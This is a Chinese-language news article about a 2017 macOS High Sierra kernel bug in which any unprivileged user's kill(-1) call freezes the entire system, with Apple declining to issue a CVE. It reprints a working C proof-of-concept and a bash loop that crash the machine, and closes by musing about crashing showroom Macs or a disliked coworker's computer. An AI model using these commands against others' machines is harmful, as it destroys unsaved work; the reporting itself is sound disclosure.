MacOS High Sierra 发现漏洞,任何使用者都可轻易使系统当机

作者 | 发布日期 2017 年 10 月 20 日 18:00 | 分类 Apple , IOS , 软件、系统
macOS-High-Sierra-01-1-624x281

一位开放源码开发者 Shea Levy 向 Apple 通报最新的电脑操作系统 MacOS High Sierra 有一个天大的漏洞──任何没有特权的使用者帐号都可以下 kill -1 指令瘫痪整个系统,使系统当机无法操作。意思是说,如果你到苹果电脑的展场,任何人都可以轻易使展示的苹果电脑当机。



事情是这样的,一开始是另外一位开源开发者 Matthew Bauer 在 MacOS High Sierra 系统使用 NixOS 这套开放原码的套件管理程序时,发现会莫名其妙瞬间系统完全冻结,无法控制,于是提报这个状况。许多人开始追查原因,一开始以为是 NixOS 自己的错误,然而追踪到一个地方,就是 NixOS 在 build(从源代码自动编译成可执行档的程序)App 时,NixOS 会使用一个低权限使用者帐号来 build,当该低权限帐号的工作都完成后,会下系统呼叫 syscall(SYS_kill, -1, SIGKILL, 0) 来清除该帐号所有行程(process)结束作业, 然而没想到整个系统不管哪个使用者的行程都会一起删除。

Shea Levy 提供以下的 C 语言范例:

test.c:
#include <unistd.h>
#include <sys/syscall.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
int main() {
int result;
for (int i = 0; i < 200; i++) {
result = kill(-1, SIGKILL); // Also fails with `syscall(SYS_kill, -1, SIGKILL, 0);`
printf(“result:%i,errno:%i (%s)\n”, result, errno, strerror(errno));
}
}
$ gcc test.c
$ sudo -i
# /usr/bin/sysadminctl -addUser -fullName “Kill Test User” -home /var/empty -addUser killtest
# cd /
# while true; do sudo -u killtest /bin/sh -c “sleep 1 & ./a.out”; done

只要花大概几分钟的时间,就可以让你的系统当机。另外还有 bash 命令稿版本如下:

$ sudo /usr/bin/sysadminctl -addUser -fullName “Kill Test User” -home /var/empty -addUser killtest
$ while true; do sudo -u killtest /bin/sh -c “sleep 1 & kill -kill -1”; done

更进一步追查,另外一位程序设计师 Daniel Peebles 发现根本不用那么麻烦,只要简单使用 libc 的 kill 呼叫,还有 kill 系统指令,就可以轻松当掉整个系统,问题出在 MacOS High Sierra 系统核心 XNU kernel。

于是 Shea Levy 等人不但通报 NixOS 团队,还通报苹果公司,然而却得到苹果公司如此回应:“ We have not reserved a CVE for this issue as Apple is a CNA and does not see it as a security issue.”意思是说苹果不认为这是一个安全性问题,所以不打算发一个 CVE(Common Vulnerabilities and Exposures,常见漏洞与暴露弱点 )编号给这个问题。

是的,这是 local 端实体电脑的漏洞,而不是现在大家比较关注的网络漏洞,看似没啥大不了,然而试想,除了你可在苹果电脑商场把展示电脑弄当机,如果你看使用苹果电脑的同学、同事不爽,就可以趁他离开座位不在时,轻易让他目前的心血瞬间付之东流,而这到底算不算安全问题呢?

(首图来源:苹果)

如需获取更多资讯,请关注微信公众账号:Technews科技新报

Shoichi Chou

维基媒体协会理事、开源码软件创作者、音乐人,关心开放原码软硬件的发展,以及在创作上的应用。
未经许可,任何媒体、网站或个人不得复制、转载、或以其他方式使用本网站的内容,违者必究。

直接使用新浪微博发表评论

 

发表评论